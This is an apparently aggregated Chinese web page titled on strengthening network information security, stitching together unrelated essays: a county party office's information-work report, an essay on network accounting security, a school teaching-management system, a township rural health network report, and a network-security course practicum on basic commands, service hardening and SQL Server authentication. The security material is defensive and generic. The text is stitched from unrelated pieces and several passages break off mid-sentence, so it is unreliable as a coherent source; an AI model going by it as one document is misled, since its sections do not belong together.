强化网络信息安全管理(推荐8篇)
近年来,台江县委办牢牢把握为领导决策服务、为基层工作服务的方针,进一步增强信息工作意识,健全工作网络,完善工作制度,扩大信息来源,提高工作水平,切实发挥信息在服务中心工作中的重要作用,为推动全县经济社会科学发展、跨越发展、和谐发展营造了良好的舆论环境。
一、围绕中心,服务大局,不断提高党委信息工作水平近年来,广大信息工作者始终围绕建设“绿色经济示范县”这个总体目标,实现“全面融入大凯里、奋力争先黔东南”的奋斗目标和更有魅力更具活力新台江建设阶段性目标,不断拓宽信息领域,全面、准确、及时地向各级党委反馈信息,发挥好参谋助手作用,不断提高服务水平。
(一)强化精品意识,提高信息质量。质量是信息的生命。提供高质量信息是服务领导科学决策的关键,也是衡量信息服务水平和服务质量的重要尺度。广大信息工作者牢固树立强化精品意识,坚持以数量促质量,以质量带效率,努力在挖掘、整理和提报深层次信息上下功夫、做文章。
一是增强信息的针对性。广大信息工作人员立足高起点,站在领导者的高度去观察和分析问题。认真学习党的路线、方针、政策,关注上级党委、政府召开的一些重要会议和下发的重要文件精神。及时了解和正确把握领导的意图,从领导需要了解和需要领导了解这两个方面去开发整理信息,想领导之所想,报领导之所需。根据不同领导
四是打造信息的独特性。特色是信息的品质。各乡镇、各部门根据当地实际和部门特点,结合各自的工作开展情况,提报一批“特色”信息。2009年以来,我们突出工业发展、招商引资、旅游发展、民族文化等经济亮点,农村工作规范化建设等新举措,加快发展、富民强县等新任务,以及学习实践科学发展观活动、创先争优、四帮四促等阶段性工作,同时结合各乡镇和各单位的工作实际,力求做到人无我有,人有我精,突出特色。很多信息被委省委、州委采用,进入各级决策视野,主要是“结合”文章做得好,特色鲜明。
(二)严格工作制度,加强信息报送作。重要和紧急信息报送是各级办公室的重要职责。由于紧急信息事关工作大局,事关经济发展,事关社会稳定和人民生命财产安全,因而在整个信息工作中显得更加重要,对领导的决策和指导工作的价值就更高。为确保紧急信息报送工作有章可循、优质高效,我们建立了紧急信息报送工作责任制,凡是发生重要情况、重大事故、突发事件,所在地的党委、部门办公室必须及时准确地向县委办公室报告。哪一级发生迟报、漏报、瞒报问题,由哪一级负责。县委办公室对乡镇、部门紧急信息报送情况,及时进行通报,对迟报、漏报、瞒报紧急信息的进行通报批评,造成严重后果的追究责任。我们还建立了紧急信息报送工作的跟踪落实制度,各乡镇、各部门根据上级领导在紧急信息上的批示意见和要求,及时进行督办、跟踪、落实、续报,促使问题得到迅速妥善解决。
(三)坚持实事求是,正确处理关系。有喜报喜有忧报忧,是信息工作的一个基本原则。近年来,我们坚持实事求是的原则,报送了一些反映问题的信息,取得了较好的效果。但我们也应当承认,报喜
发性事件,必须向县委报告,经领导决策后,统一口径向上级党委报告,决不能在报送程序和环节上出现问题。
二、健全队伍,夯实基础,为党委信息开展提供保证
加强信息网络和队伍建设是做好信息工作的基础。我们坚持发展与创新并重,进一步改进和完善工作机制,推动信息工作扎实有效地开展。
(一)拓宽信息网络建设。信息工作是一项系统性的工作,单靠信息股几个人的力量是远远不够的,过去的一年,我们注重构建信息网络,充分发挥各部门、单位以及广大基层信息工作者和群众的作用。主要构建了信息“五张网”:一是州特约信息工作者网。明确州特约信息工作者也是县特约信息工作者。二是县特约信息工作者网。在各乡镇、各部门、单位明确一名分管领导和一名信息工作者,统一登记并编印联系手册。三是网络信息工作者网。出台网络信息收集报送处理相关办法,整合县政府办、县委组织部、县委宣传部等部门人员力量,明确职责和任务,加强网络的监管。四是社会信息工作者网。出台重大突发公共事件报告制度,在媒体公布电话、电子信箱等联系方式,在重点部门聘请隐蔽信息工作者,动员社会力量报送紧急重要信息。五是几套班子信息网。加强与县人大、政府、政协以及组织、宣传、纪检、政法、武装部等部门办公室的沟通联系,建立党委信息会议联系制度,实现信息互通,资源共享。目前,全县形成以县委办公室为中心、纵向贯通、横向联结、条块结合的信息网络化格局。
(二)健全信息联系机制。基层信息工作者一般都是兼职的,有的还身兼数职,一忙起来信息工作就要往后摆了。为了经常“提醒”基层信息工作者履行职责,我们建立完善了各项信息工作制度。一是经常联系工作制度。编印了《信息工作手册》,加强了与基层员的联系。
要领导向县委写出深刻检查;发生三次的,建议对责任单位有关领导和责任人年度考核为不称职,并采取相应的组织措施。参照省州有关文件精神,出台了对重大紧急信息报送中失职、渎职行为的责任追究办法,进一步提高了信息工作的积极性。
三、几点启示
(一)领导重视,是做好党委信息工作的前提。首先,党委信息工作能不能做好,能不能发挥作用,领导重视是前提。党委信息在总结交流工作经验、服务领导决策、提高中心工作水平等方面具有特殊的功能和作用,党委信息在一定程度上直接反映了一个地区党委工作的状况。此项工作如果没有领导的重视和支持,就很难搞好。其次,做为党委部门的领导,要经常过问党委信息工作,只有领导同志的认识到位了、措施硬了,党委信息工作者也就增强了做好党委信息工作的责任感和荣誉感。第三,党委领导要多支持信息工作者如实反映情况,多给信息工作者创造了解信息的必要渠道和条件,多让信息工作者参加各种会议和活动,支持他们撰写党委信息,这样不但调动了信息工作者撰写信息的工作热情,也带动了广大干部人人参与信息工作的积极性。
(二)队伍建设,是做好党委信息工作的关键。首先,要把那些具有强烈事业心、具有较高的政治理论素质、具有一定的文字写作能力和党务工作经验丰富的同志安排从事信息工作,担任兼职或专职信息工作者,为他们提供必要的办公条件,提高他们的工作积极性、主动性和创造性。其次,要关心信息工作者的成长和生活,领导要经常与信息工作者交流思想、总结工作经验,从多方面给信息工作者以关心和支持,特别是对那些多年从事信息工作并取得一定成绩的同志,要给予合理使用,形成鲜明的用人导向,使现在从事信息工作的受到
按规定配备信息人员;有的虽然明确了信息工作人员,但信息人员缺乏搞好信息工作的强烈责任感,敬业精神不够,创新精神不足,发现问题、综合分析问题的能力不强。这些问题直接影响了全县党委信息工作的健康发展,影响到信息工作上台阶上水平,必须引起高度重视,并在今后工作中采取有效措施认真加以解决。
关键词:会计信息,网络会计,信息安全
网络会计的应运而生, 是信息时代会计发展的必然产物, 它的产生与发展, 是会计发展史中的一个重要里程碑, 也是当代会计学中的最有潜力的新领域之一。网络会计的推出和应用, 使企业的经营跨越了时空的限制, 在管理方式上摒弃传统的财务管理模式, 实现业务协同、远程处理、在线管理等模式, 支持在线办公、远程办公和移动办公等方式, 在信息提供上, 实现远程报表、远程查账、网上信息查询等方式, 网络会计具有传统会计所无可比拟的优势。
然而, 网络会计作为新生事物, 和所有的新生事物一样, 它也必然存在缺陷和不足。
一、网络安全性存在的隐患
1.会计信息的安全性存在隐患。网络是一把双刃剑, 它使企业在利用网络寻找信息或进行经济等活动的同时, 也将自己暴露于风险之中;同时, 因计算机病毒多样化、传播速度快、破坏力强、传播途径多和难以防范等特点, 容易篡改和毁坏数据, 造成会计信息失真, 加大了风险。
2.计算机系统设施存在缺陷。主要体现在计算机基本硬件缺少保护, 网络会计需要有功能强大而且安全的计算机硬件来支持其运作, 但目前计算机硬件的性能还没有得到有力的保障。
3.网络系统内部控制不健全。在网络环境中, “扁平”的组织内部将取代“垂直”的组织结构, 使传统会计系统中某些职权分工、相互牵制的控制失效。
4.复合型会计从业人员的缺乏。网络会计需要既熟悉信息技术又掌握会计知识的复合型人才, 无论多么完善的硬件软件以及网络系统, 都需要人的驾驭。
5.相关网络会计法规不完善。网络会计作为新生事物, 尚处于萌芽理论和雏形应用, 国家在网络会计准则、法规方面滞后。网络会计具体在会计程序和方法上如何操作, 理论界和实务界也都在探索, 尤其是实务中各企业作法不一, 使得会计信息质量缺乏可比性, 网络会计的合法性、规范性有待商榷。
二、构建安全保障体系, 确保网络会计信息安全
(一) 提高网络会计信息安全
网络是一个开放性的领域, 会计信息安全问题是网络会计发展中面临的首要问题, 必须要有一个安全、可靠的通信网络, 以保证会计信息安全迅速地传递与共享。
1. 对于信息流采用对称加密和非对称加密等全面加密技术, 以防止会计信息在传输过程中被泄密。
2. 采用防火墙和过滤技术, 将包括病毒和网络黑客的恶意攻击在内的非法入侵、访问抵挡在内部网络之外。
3. 计算机硬件、相关软件的质量性能必须得到有力的保障, 以防止硬件、软件故障。
4. 根据会计核算的要求和网络系统的特点, 记账凭证、账
簿账表的生成可采用集中管理模式, 同时, 网络结算要经过严格检验, 并对相关凭证进行纸质备份。
(二) 加强对数据的管理
网络环境下, 大量不相同的会计业务交叉在一起, 再加上多用户共享数据库的出现, 如果内部控制制度不严密, 一旦有缺乏严格控制检验的凭证录入到整个网络系统中, 就很难查明原因, 会直接影响到会计信息的准确性。因而把好数据录入关, 保证数据录入的真实性、合法性、完整性十分重要。在输入系统前, 数据都要经过检验, 输入工作也应由多人多组分担;对输入的数据、代码等进行必要的校检, 以保证其合法性和真实性;根据会计核算的要求和网络系统的特点, 可以把同类凭证按凭证号顺序分成几组进行输入。
(三) 加强技术层面的管理
1. 保证硬件管理。
应合理选择网络结构, 优化网络硬件, 保证网络的安全性及可维护性。同时, 要提高操作系统的安全可靠性, 要尽可能地选用安全等级较高的操作系统产品并经常进行版本升级。
2. 应当制定计算机机房和设备的管理制度、岗位职责和操作规程, 禁止无关人员接触系统, 专机专用。
3. 应当采取保护计算机机房安全的措施。
计算机房重要的通道有门卫把守, 必要情况下可以采用电子门锁、指纹核对、用计算机控制进出并登记进出人员的姓名和时间等防范控制手段。计算机机房还应充分满足防火、防潮、防尘、防磁和防辐射及恒温等技术要求, 关键性的硬件设备可采用双系统备份。
(四) 开发和更新软件
网络会计应用软件应符合以下几个标准:
1. 功能的多样化以及提高会计核算软件的通用性和实用性。
可对购入的商业化软件进行二次开发, 并通过接口和系统集成的办法克服二次开发软件和商业软件不能共享的缺点。同时, 也可以考虑引入人工智能技术, 发挥专家系统在预测、决策工作中的作用, 加强会计的管理控制职能, 以顺应网络会计的要求。
2. 全面采取网络技术, 适应网络化管理, 实现财务集中式
管理、动态核算、实施监控软件在符合国际会计准则、多语言、多币种的情况下, 提供具有国际化的会计信息, 满足企业参与国际竞争的需要, 实现财会国际化;形成网上公证由第三方牵制的安全机制努力使会计软件的运行环境向更高领域发展。
3. 会计与业务协同, 实现物流、资金流、信息流、票据流的有效整合。
网络环境下原始凭证用数字方式进行存储, 应利用网络所特有的实时传输功能和日益丰富的互联网服务项目, 实现原始交易凭证的第三方监控。
财会软件是实施网络会计信息系统的基本构件, 也是实施的关键所在。因为网络化财会软件具有投资大、风险大的特点, 一旦系统运行不畅将使企业在经济上遭受损失, 所以应对如何提高软件质量以及软件维护水平等方面给予重视。
三、健全内部控制机制, 完善安全措施
(一) 规范授权管理
财务部门应通过严格的权限管理及系统控制参数设置, 界定操作员及各部门的操作权限范围, 只有被授权的用户才能在系统中进行相应的操作。同时, 还应建立起网络会计环境下的岗位责任制, 明确所有岗位职责范围, 做到不相容的分离, 各岗位之间有一定的内部牵制作保障。这些措施进一步完善会计信息系统权限管理的漏洞, 为会计信息构筑一道“防火墙”。
(二) 加强数据管理和控制
针对网络传输和保存时电子数据容易被修改问题, 企业应把整个财务账套建立在一个服务器上, 规范基础设置, 设计统一财务报表体系, 保证财务核算主体数据格式一致。各自账套进行初始数据输入时, 通过互联网上传至企业服务器, 并按设定的会计处理方法和流程自动完成基本业务处理, 实现会计核算数据直接采集、集中处理, 减少信息处理环节, 减少人工干预, 提高信息传递速度, 确保会计信息质量。实现一切数据的输入、存取过程规范化, 从而保证企业会计信息质量的真实、完整和准确。
(三) 解决系统软件问题
对于计算机软件问题, 内部错误无法避免, 针对会计信息系统软件本身存在的不足, 采取监控一段时间内的内部质量, 了解原参数是否过时, 并积极主动和软件开发商联系, 对存在的问题和不足进行反馈, 及时对软件进行升级或者更改参数, 提高防御风险的能力, 降低企业损失。
四、加强基础建设, 培养高素质的网络会计人员
必须改变传统会计的人才观念和管理模式, 加大网络会计人才的智力投入。为解决人才缺乏问题, 首先要引进既懂会计又懂管理;既有原则性, 又有灵活性;既熟悉电算化知识, 又熟悉网络知识;既会会计业务操作, 又能解决实际问题的高层次会计人才。其次, 要建立、完善培养和培训体系, 优化人才结构。有计划、有步骤、有针对性地组织开展会计人员的培训工作, 采用多种形式更新财会人员的知识结构, 特别是要提高会计人员的计算机应用水平, 尤其是计算机网络技术, 优化人才结构, 增加人力资本的价值。会计教育和实践方面, 高校和各级培训机构需要在战略上重视毕业生和会计师等网络会计人才的培养。
1.高校专业课程的设置和人才培养目标方面, 应考虑网络会计的发展现状与变化进行动态调整, 使网络会计人才的培养速度能够跟上职业界的发展速度。
2.为了适应网络会计对现有人才的需求, 企业必须有计划、有步骤、有针对性地组织开展现有会计人员的继续教育和培训工作, 改善会计人员的知识结构、计算机应用水平及网络理财意识, 不断学中干、干中学。网络会计人才教育、培训需要包括五个方面的内容:计算机应用能力、网络常规维护能力、数据保密技能、网络安全技能、外语技能。通过培训, 财务会计不断汲取新知识, 将经济、财会、网络技术有机结合, 以适应网络会计对信息时代复合型人才的需求。此外, 在提高从业人员专业胜任能力的同时, 还必须提高其职业道德。
五、完善网络会计法律法规
因网络经济对目前而言属于新生事物, 网络会计更是我国乃至世界会计发展的新领域, 因而, 与网络会计相关的问题还处于不断的摸索、改进, 修正的过程, 仍受到法律及会计制度的滞后性的制约。其直接的滞后性表现在缺少能够使计算机确保自身安全、健康发展的制度;间接的滞后性表现在现有的经济法规不能适应网络会计的发展。因此, 政府主管部门应加强网络会计制度的完善工作, 建立网络会计工作的规范体系。立法方面。为了对付日益猖獗的计算机犯罪, 保护信息使用者的权益, 国家应制定并实施计算机安全及数据保护法律, 完善有关网络犯罪的法律、法规。从宏观上加强对信息系统控制, 为计算机信息系统提供了一个良好的社会环境。
目前我国虽然已出台了一些关于计算机犯罪的法律、法规, 但由于我国计算机网络事业还刚刚起步, 许多新型的犯罪方式尚未遇到, 法律、法规所涉及到的范围也受到相应的限制, 这就需要我们在网络事业发展的同时不断的建立、完善相关法律、法规, 为网络会计信息系统提供一个良好的社会环境。
一、构建有效的课堂活动与成绩管理体系,提高教学效率
学生之所以喜欢打游戏,是因为他们在打游戏的过程中有参与感和成就感。如果能让他们在学习中找到打游戏的乐趣。教学效率也能大大提高。因此,我们将学生的课堂活动和平时成绩纳入管理体系,全程跟踪学生的成长过程,让学生在学习过程中找到“打游戏”的感觉。
因此,本系统的设计思想是:将所有课堂活动合理量化,综合为学生平时成绩,类似于游戏中的积分,项目包括小组长职务加分、课堂提问得分、在线抢答得分、作业(作品)评价得分、分组对抗赛得分、课堂演示得分、考试得分(不包括期末考试,期末考试另立一项)、卫生值日得分、缺勤扣分等。所有课堂活动均通过信息技术教学管理系统在课堂上实施。开学前告知学生,期末总评结果将由平时成绩和期末考试成绩组成,各占一定比例。学生可以在学生端随时查询到自己和本班的平时成绩明细,期末考试完毕后可及时查询到自己的期末总评,成绩完全靠自己争取,由管理系统自动产生。
项目设置如下:
1小组长职务加分:为了便于分组教学,将学生分成若干个学习小组,每个学习小组选出一名小组长,负责协调小组活动。加10分。
2课堂提问得分:将课堂提问得分加到系统的本人成绩中去。活动分为随机抽查和指定答题。
3在线抢答得分:利用学生端的“在线抢答”功能进行抢答。可由教师机控制端控制。分无风险抢答和风险抢答两种,无风险抢答答错不扣分,答对加分;风险抢答答错扣分,答对加分。得分加到本人平时成绩里面。
4作业(作品)评价得分:作业(作品)完成后。进行小组互评,得分加到本人平时成绩里面。这是一个非常有用的模块,一个班几十份作业(作品),如果全部由老师来评价,得出量化结果,需要花费大量的时间。而且学生没有参与感,效果不佳。本系统设计了“小组互评”功能,由老师给出量化的评价标准,小组间交叉互评。老师只需打开实时监控模块监控评价过程,抽查评价结果,再根据学生的反馈进行复查。这样全班几十份作业f作品)即可在课堂上完成,每个同学也能体验到参与感和成就感。
5分组对抗赛得分:以竞赛的方式组织课堂活动,可以活跃课堂气氛,激发学生的学习兴趣,提高学生的学习自主性。本系统设计了“分组对抗赛”模块。各小组的竞赛成绩分别加到小组成员的平时成绩中。
6课堂演示得分:和课堂提问一样,将上台演示的成绩加到该同学的平时成绩中。自愿上台演示的同学不管演示效果怎样,先加自愿分5分,以示鼓励,再加演示分。
7考试得分(不包括期末考试):利用系统提供的在线考试功能进行在线考试,交卷时即得出考试成绩。教师机端的考试监控模块实时监控学生登陆情况、交卷情况(分数显示)、提取试卷、提取分数、动态排名、强制交卷、考试情况统计等。
8卫生值日得分:分派到打扫卫生的同学,记录在系统里面。完成的加10分,未完成的扣10分。通过此项操作可培养学生良好的行为习惯和责任心。
9考勤缺勤扣分:缺勤则从平时成绩中扣分。
以上各项都是利用“信息技术教学管理系统”在课堂上完成。
二、建立简单有效的考勤系统,加强课堂管理
利用“信息技术教学管理系统”进行课堂教学管理后,考勤变得轻松简单。教师机端启动“教学管理系统”,进入“考勤”模块,大屏幕即时显示学生登录情况,学生登录到学生端,即可以在大屏幕上看到自己的登录情况:未登录为绿色,正常登录为橘红色,如果不在老师指定的位置登录为红色,教师及时提醒该同学返回自己的座位登录。未登录的即为缺课的学生,可将未到的学生考勤记为“迟到,扣2分”“旷课,扣10分”“早退,扣2分”“请假,不扣分”,同时发短信到该同学的短信箱“你在XXX时间迟到,扣2分,有问题请找老师”,通过简单有效的考勤系统,达到了加强课堂管理,增加约束力的目的。
使用“信息技术教学管理系统”后,学生乱坐位置的情况也得到及时纠正。课堂秩序得到有效控制,课堂教学活动得到有效实施。不过在实施过程中也出现有个别学生作弊现象,如委托同座同学用自己的ID和密码登录学生端,逃避考勤。此时一定要对照考勤显示和实际座位,看看有没有空缺的,一旦发现,两人都要扣分,起到警示作用。
三、搭建交流平台,促进生生、师生之间的交流互动
由于信息技术课的特殊性,上课时间学生才来,下课即刻离开,老师和同学接触的时间很少,缺乏有效沟通。短信平台是“信息技术教学管理系统”中一个重要的模块。深受学生欢迎。通过该平台,本班学生可以互发短信,也可以给老师发短信。拉近了师生之间的距离,便于教学实施。该平台受教师端控制,可以根据情况关闭和开放,可以暂停任意学生的短信权限。
四、“信息技术教学管理系统”的实施效果及意义
利用“信息技术教学管理系统”实施课堂教学管理后,随着课堂教学活动的开展,学生平时成绩拉出档次。排名也在不断变化。学生在学习中感受到“打游戏”的乐趣,激发了竞争意识,在竞争中成长,在乐趣中学习。通过查看学生短信。我们发现,很多同学都在为上次作业完成不好、评价不高或考试成绩不理想而遗憾。有些同学还因为上节课因病请假未能参加课堂活动少了10分而要求老师安排补做,学生的学习从“要我学”变为“我要学”,有效地提高了课堂教学效率。
“信息技术教学管理系统”的实施还有利于培养学生良好的学习习惯和网上行为习惯。使学生在快乐中学习。
一、加强领导,统一思想,全力推进一体化管理和社区卫生服务网络建设
根据省政府《关于城镇医药卫生体制改革的实施意见》精神,2001年,我镇党委、政府在学习借鉴外地经验、广泛听取社会各界意见建议的基础上,经过考察论证,决定实行镇村卫生工作一体化管理,建立覆盖全镇的社区卫生服务网络,更好地为农村群众服务。建设初期,由于涉及投资、收入等问题,很多村和乡村医生存有很大的抵触情绪,服务站的建设很不顺利。为此,镇里从深入细致的思想发动入手,加强领导,落实措施,保证了工作顺利推进。
一是加强领导,齐抓共管。镇党委、政府先后多次召开书记办公会和党委扩大会,统一了思想认识,明确了工作步骤和具体要求。镇里成立了由镇长任组长,卫生、公安、财政及部分村两委负责人参加的卫生工作一体化管理和社区卫生服务站建设领导小组,镇政府主要领导负总责、全面抓,分管领导具体负责、靠上抓,召开了各村两委干部参加的专题会议,对这项工作的组织领导、规划布局和管理方法作了具体部署,为工作顺利进行奠定了坚实的基础。
二是达成共识,上下联动。对推行一体化管理和建设社区卫生服务站,很多乡村医生是有抵触情绪的,普遍认为社区卫生服务站的建立势必会影响到自己的业务收入。在深入走访了解、掌握其思想动态的前提下,镇里召开了全体乡村医生会议,组织学习有关文件精神,明确了实行镇村卫生一体化管理和加快社区卫生服务网络建设的必要性和紧迫性。同时,针对院内职工存有的社区卫生服务站是卫生院包袱和负担的忧虑,镇里先后组织召开院委会、科室负责人会及全院职工大会,让大家清醒地认识到搞一体化管理关系到医院的存亡,与每一名干部职工的切身利益息息相关。通过深入细致的思想工作,消除了乡村医生和院内干部职工的疑虑和担心,统一了思想,达成了共识。院里有21名业务骨干先后自愿到服务站工作,调动起乡村医生建设社区卫生服务站、实行镇村卫生工作一体化的积极性,也提高了服务站的诊疗能力。
三是落实措施,规范建设。在服务站的设置上,我们首先按照区域进行规划,根据农民的医疗需求,确定了在人口相对集中的村规范建设22处服务站的工作目标,积极与各村两委干部沟通,落实了房屋,面积均达到了80平方米以上。在人员的配备上,我们以设站及周围村持证乡村医生为基础,通过考试考核,择优录用,并从院内选派了素质高、技术精湛的人员充实到各服务站中去,达到了每站3—4名医护人员的标准。在药品的配备上,首先将乡村医生家中的药品按照进价统一收购配备到站中去,不全的品种由卫生院统一配备。经过全镇上下的共同努力,建成了以卫生院为中心,由1处社区卫生服务中心、22处社区卫生服务站和10处站辖卫生所组成的社区卫生服务网络,社区卫生服务面达到了100%。
二、健全制度,规范管理,努力提高服务质量
社区卫生服务网络建设是基础,管理是关键。我们从建立健全各项规章制度入手,加强管理,不断提高服务质量,努力为农村群众服好务。
管理服务站实行“三制九统一”的模式。“三制”,即对服务站的工作人员实行聘任制、绩效工资奖惩制和末位待岗制。“九统一”,即统一规章制度、统一财务管理、统一药品调拨、统一药品价格、站院统一核算、统一发放工资、人员统一调配、统一交纳养老保险和统一交纳大病保险金。为保证药品质量,卫生院统一了购药渠道和药品价格,配备专人收交,统一管理。坚持定期调度制度,每月召开站长会,通报工作情况,查找不足,推进工作。为了能使进站乡村医生安心工作,我们为他们缴纳了养老保险及大病保险,具体做法是:每人每年交600元,医院补助600元,作为养老保险。60岁以后,每人每月可领到养老金400元左右;每人每年交120元,医院补贴120元,作为大病保险。患病一次性支付医药费3000元视为大病,可享受最高限额5000元的补偿。
提高服务质量抓培训教育。针对社区服务站的工作人员大部分是乡医、综合素质偏低的实际,我们加强了对医务人员业务知识的培训和职业道德教育,卫生院制订了培训计划,每两周卫生院和服务站开展一次技术培训,请专家和业务骨干授课,并有针对性地开展病例剖析,定期组织进行职业道德教育,使服务站工作人员的业务水平和服务意识明显提高。同时,特聘律师为常年法律顾问,经常举办法律知识讲座,增强工作人员法律意识和自我保护能力,减少和避免了医疗差错和纠纷隐患。
增强服务能力注重发挥特长。在社区服务站的具体工作中,我们注重发挥他们的技术特长,如大
于家、后霍站充分发挥了中医的一技之长,利用中西医结合的方法为患者解除病痛;慕家站采用小针刀的特殊疗法治疗骨质增生等症,取得了满意的效果;洽泊站在传统的正骨技术基础上与现代器具相结合,在正骨接骨和治疗慢性腰腿痛等方面疗效显著,被烟台市卫生局评为特色专科。
落实规章制度抓考核。我们实行岗位目标责任制考核和百分考核,建立健全了岗位目标责任制考核办法,界定了各自的工作岗位职责,并成立了工作督查小组,不断加大督查力度,通过定期检查和不定期抽查的方法,促进对社区卫生服务站和站辖卫生所的规范管理。百分考核标准主要包括药品管理、医疗文书书写、诊疗规范的执行和环境卫生等10项内容,并以此为依据进行奖惩。同时,加强了对私自行医行为的整治力度,专门成立了整治小组,通过抽查、检查等手段严厉打击私自行医卖药的现象,保障社区卫生服务的正常运转。
由于我们制度健全,管理严格,一体化管理和社区卫生服务工作取得了明显成效。一是社会效益明显提高。这项工作得到了群众的认可,认为看病治病安全了,用药放心了,药价下降了。同时,还得到上级领导的认可,省卫生厅先后两次到我镇调研社区卫生服务站建设工作,给予了高度评价。烟台、龙口市卫生局分别在我镇召开现场会,推广了我们的一些经验做法。特别是在抗击“非典”战役中,依靠社区卫生服务站网络,对各村严格排查监控,取得了防治非典的阶段性胜利。二是乡村医生的技术水平明显提高。通过培训指导,丰富了乡村医生基础医学知识,提高了对常见病、多发病的诊疗能力,增强了全心全意保障群众身体健康的服务意识。三是经济效益明显提高。社区卫生服务工作开展以来,站内职工平均月收入都在800元以上,仅吕家、洽泊、后霍家三处卫生服务站的年收入就超过100万元。
三、精心组织,稳步推进,确保新农合工作持续健康发展
我们把推进新农合工作作为一项民心工程来抓,精心组织,稳步推进。工作中,做到了“四个到位”。
一是组织领导到位。镇里成立了由镇长任主任的新农合管理委员会,在卫生院设立了新农合办公室。同时,成立了监督委员会,定期听取工作汇报,强化对新农合工作的监督。卫生院成立了工作小组,形成了横到边、纵到底的组织网络,多次组织召开镇村两级调度会议,传达上级的有关指示精神,认真总结经验,及时发现和解决问题,确保工作顺利推进。
二是宣传发动到位。为了消除广大农民的顾虑,提高参合积极性,通过会议宣传、集市宣传、活动宣传等多种形式和出动宣传车、悬挂横幅标语、发放明白纸和聘请宣传员等多种方法广泛宣传,提高了农民的参合积极性。
三是制度落实到位。建立健全了管理制度,简化工作流程,规范运行管理。建立了院站双向转诊制度,在减轻农民医药费用负担的同时,确保参合农民能够得到及时有效的救治。实行首接负责制,由首次接待的工作人员负责帮助办好一切转诊手续,较好地解决了群众的后顾之忧。在资金的管理上,通过银行统一代理、资金专户管理和封闭运行使用等方法,严格实行资金收支两条线管理,真正做到了管用分开、封闭运行。坚持定期公布资金收支情况、医药费补偿标准、补偿对象及补偿数额,及时公示药品价格,接受社会和群众监督。严格操作规程,做到报帐规范、审批手续规范、资金兑付规范、财务管理规范。同时,在对参合农民报销凭证的审核时,既做到认真负责、一丝不苟,又不断简化报销手续,方便群众。
四是服务措施到位。组织实施了一些便民活动,设立了新农合报销专用窗口,参合农民在卫生院门诊医药费用当场报销。为解决边远村参合农民报销不方便的问题,组织镇卫生院财会人员定期进村为老百姓现场报销,切实为参合农民提供优质、方便的服务。住院医药费用补偿金额在1000元以上的,全部由社区卫生服务站工作人员送到参合农民手中。在医德医风方面进行了专项治理,坚持以病人为中心,特别是在接诊时要给病人一张笑脸、一声问候,做到对患者有爱心,接待病号有热心,查病治病有耐心,对弱势患者有同情心本文来自517878秘书网,对待自己的工作有责任心,以此转变服务理念,提高服务质量,真正让病人带着痛苦来,带着微笑走。
为改善就医环境,加强了卫生院和服务站的自身建设,投资21万元改造了卫生院病房、手术室和药库,新购置了一辆救护车,免费接送病人。投入13万元对慕家和后霍家社区卫生服务站进行了改造,完善了设施。为方便群众就医,减轻农民负担,我们与文登接骨医院建立了手术关系,还请市人民医院的专家进行技术指导和人员培训,让参合农民在家门口就能享受到更加优质的医疗服务,努力做到“小病不出服务站,大病不出卫生院”。
一、实验目的及要求
该专周的目标是让学生掌握网络安全的基本框架,网络安全的基本理论。以及了解计算机网络安全方面的管理、配置和维护。
本课程要求在理论教学上以必需够用为原则,应尽量避免过深过繁的理论探讨,重在理解网络安全的基本框架,网络安全的基本理论。掌握数据加密、防火墙技术、入侵检测技术以及学习网络病毒防治。了解Windows 2000的安全、Web的安全、网络安全工程以及黑客常用的系统攻击方法。本课程要求学生对计算机的使用有一定了解(了解Windows的使用,具有键盘操作和文件处理的基础),并已经掌握计算机网络的基本原理。
二、专周内容
1、安全需求分析
(1)网络安全问题主要集中在对服务器的安全保护、防黑客和病毒、重要网段的保护及管理安全上。因此,我们必须采取相应的安全措施杜绝安全隐患,其中应该做到:
A、公开服务器的安全保护 B、防止黑客从外部攻击 C、入侵检测与监控 D、病毒防护 E、数据安全保护 F、网络的安全管理
(2)解决网络安全问题的一些要求
A、大幅度地提高系统的安全性(重点是可用性和可控性);
B、保持网络原有的特点,即对网络的协议和传输具有良好的透明性,能透明接入,无需更改网络设置;
C、易于操作、维护,并便于自动化管理,而不增加或少增加附加操作;
D、尽量不影响原网络拓扑结构,同时便于系统及系统功能的扩展;
E、安全保密系统具有较好的性能价格比。一次性投资,可以长期使用;
F、安全产品具有合法性,及经过国家有关管理部门的认可或认证;
(3)系统安全目标
A、建立一套完整可行的网络安全与网络管理策略;
B、将内部网络、公开服务器网络和外网进行有效隔离,避免与外部网络直接通信;
C、建立网站各主机和服务器的安全保护措施,保证他们的系统安全;
D、加强合法用户的访问认证,同时将用户的访问权限控制在最低限度;
E、全面监视对公开服务器的访问,及时发现和拒绝不安全的操作和黑客攻击行为;
F、加强对各种访问的审计工作,详细记录对网络、公开服务器的访问行为,形成完整的系统日志;
2、网络拓扑
3、网络安全的基本内容
(1)基本网络命令
A、ping命令: ping –t IP,向指定的计算机不停的发送数据包,按Ctr+Break快捷键可以查看统计信息并继续运行,按 Ctr+C可中止运行。
B、Tracert命令:tracert IP 显示从本地计算机到目标服务器所经过的计算机:
C、pathping pop.pcpop.com 除了显示路由外,还提供325S的分析,计算丢失包的%
(2)操作系统安全
A、屏蔽不需要的服务组件
开始——程序——管理工具——服务 出现以下窗口:
然后在该对话框中选中需要屏蔽的程序,并单击右键,然后选择“停止”命令,同时将“启动类型”设置为“手动”或“已禁用”,这样就可以对指定的服务组进行屏蔽了。B、关闭默认共享:“开始”——“程序”——“管理工具”——“服务”——“Server”
(3)数据库系统安全
A、使用安全的帐号策略和Windows认证模式
由于SQL Server不能更改sa用户名称,也不能删除这个超级用户,所以,我们必须对这个帐号进行最强的保护,当然,包括使用一个非常强壮的密码,最好不要在数据库应用中使用sa帐号,只有当没有其它方法登录到 SQL Server 实例(例如,当其它系统管理员不可用或忘记了密码)时才使用 sa。可以新建立一个拥有与sa一样权限的超级用户来管理数据库。安全的帐号策略还包括不要让管理员权限的帐号泛滥。
SQL Server的认证模式有Windows身份认证和混合身份认证两种。在任何可能的时候,应该对指向SQL Server的连接要求Windows身份验证模式。
Windows认证模式比混合模式更优越,原因在以下:
1)它通过限制对Microsoft Windows用户和域用户帐户的连接,保护SQL Server免受大部分Internet工具的侵害。
2)服务器将从Windows安全增强机制中获益,例如更强的身份验证协议以及强制的密码复杂性和过期时间。
3)使用Windows认证,不需要将密码存放在连接字符串中。存储密码是使用标准SQL Server登录的应用程序的主要漏洞之一。
4)Windows认证意味着你只需要将密码存放在一个地方。
要在SQL Server的Enterprise Manager安装Windows身份验证模式,步骤操作: 展开服务器组——右键点击服务器——然后点击“属性”——在安全性选项卡的身份验证中——点击“仅限Windows”。(4)网络防火墙工具:红墙主机网络防火墙 安装
1.具体操作如下:
